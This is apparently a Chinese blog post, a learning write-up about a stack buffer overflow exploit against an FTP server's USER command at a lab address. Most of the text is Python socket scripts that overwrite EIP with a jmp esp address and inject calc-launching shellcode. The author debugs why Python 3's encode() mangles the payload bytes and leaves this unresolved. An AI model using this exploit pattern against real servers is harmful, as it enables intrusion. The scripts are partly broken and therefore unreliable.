从脚本编写中学到的encode函数坑(未解决)

在尝试填充EIP数值的过程中,作者遇到了使用encode函数导致的未解决问题。文章详细描述了从无限接近成功的状态,到因encode函数而出现的转折,以及后续计划通过研究Python生成的可执行程序和利用调试器来解决此问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

开篇 无限接近成功

import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\x45\x44\x43\x42"+buf1
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)

在这里插入图片描述
数字准确填充EIP

铺垫 离奇的填充EIP数值

在这里插入图片描述
             不使用encode函数引起报错

# 神秘c2填充地址中间代码
import socket

buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\x7B\x46\x86\x7C"+"A"*4+buf1   #此地址为kernel32中jmp esp指令所在
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)

在这里插入图片描述

#c3填充首字节
import socket

buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\xD7\x30\x5A\x7D"+"A"*4+buf1    #
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)

在这里插入图片描述

转折 目标锁定encode函数

#2.7下编译通过  3.5失败
import socket

buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\xD7\x30\x5A\x7D"+"A"*4+buf1    #
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str  = "User "
str += "A"*485
str += "\xD7\x30\x5A\x7D"
str += "\90"*10
str += "\r\n"
# str=str.encode()
s.send(str)

在这里插入图片描述

  已查阅关于python相关文档,但对encode()函数底层编译实现未有太多解释 后续填坑考虑使用python生成可执行程序 通过IDA和调试器解决填充问题

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值